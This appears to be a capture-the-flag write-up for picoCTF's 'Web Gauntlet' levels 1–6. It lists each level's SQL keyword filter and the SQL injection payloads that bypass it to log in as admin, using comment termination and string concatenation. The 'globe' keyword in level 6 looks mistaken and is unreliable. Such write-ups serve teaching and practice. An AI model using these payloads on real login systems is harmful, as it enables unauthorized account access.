> For the complete documentation index, see [llms.txt](https://khalid-emad.gitbook.io/sqli-filter-bypass-101/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://khalid-emad.gitbook.io/sqli-filter-bypass-101/web-gauntlet.md).

# Web Gauntlet

> **Web Gauntlet is a series of challenges on pico ctf that focuses on bypassing SQL Injection filters but not in an advanced way** 

### Level 1

First we see a login form and we are required to login as an admin : 

![](https://861772691-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FWrPERpw4IqoOnalOrQHB%2Fuploads%2FvsShw6aOJDPZkRJ19ySu%2Fimage.png?alt=media\&token=b4b1bee3-ab53-4599-8191-7e7ee3fbd9b5)

If we looked at the filter , we see that these characters are filtered : 

```
Round1: or
```

Nice, so we have a very simple authentication bypass that can be bypassed in many ways , The very basic thing that we can use `and` instead of `or` as follow : 

```
admin' and 1=1-- -;
```

![EZ !!](https://861772691-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FWrPERpw4IqoOnalOrQHB%2Fuploads%2F3AlPJy91HSzaG3JgLP1j%2Fimage.png?alt=media\&token=dcac166e-459c-4a7b-a1e6-1bc9f88c9c57)

### Level 2

The same login form again but the filter now has more charatcers which are : 

```
Round2: or and like = --
```

Before we solve it let's imagine the executed query first : 

```
SELECT * FROM user WHERE username = 'admin' AND password = ''
```

So if our username was : `admin';` this would close the query and terminates it right ? to be at the end : 

```
SELECT * FROM users WHERE username = 'admin'; bla bla
```

 

![](https://861772691-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FWrPERpw4IqoOnalOrQHB%2Fuploads%2FItL8R9v5f1MbkKSjSoKL%2Fimage.png?alt=media\&token=86cf4bb4-94f5-46df-ba92-5d212729dc60)

### Level 3

Updated Filter : 

```
Round3: or and = like > < --
```

Since it didn't filter for `'` nor `;` it wi be the same solution as the previous one .

### Level 4

Updated Filter :&#x20;

```
Round4: or and = like > < -- admin
```

So it now filters for the word admin and we need to login as admin , This can be done by using string concatenation so if it fiters for admin we can combine `adm` and `in` together which are not filtered to get the word admin :&#x20;

```
adm'||'in';
```

![](https://861772691-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FWrPERpw4IqoOnalOrQHB%2Fuploads%2FcOgNY4fx8THB1AVfbyzB%2Fimage.png?alt=media\&token=bb437b17-ed74-41bb-a536-d4916b45b98c)

### Level 5

Updated Filter :&#x20;

```
Round5: or and = like > < -- union admin
```

The same filter but it only included `union` which we didn't use any way so it will be the same solution .

### Level 6

Updated Filter :&#x20;

```
Filters: or and true false union like = > < ; -- /* */ admin
```

It now filters for the `;` character which was important to terminate our query. Now we will include the password field to gain access as admin .

For the username part we can use :  `adm'||'in` so it will be concatenated as admin .

For the password part we can think for mutiple solutions but i prefered to use the `globe` keyword as follow : `' globe'*`&#x20;

{% hint style="info" %}
`This evaluates our query to : SELECT * FROM users where username = 'adm'||'in' AND password = ''globe '*'`&#x20;

`And this basically means to get us a user with username of admin with any password .`
{% endhint %}

&#x20;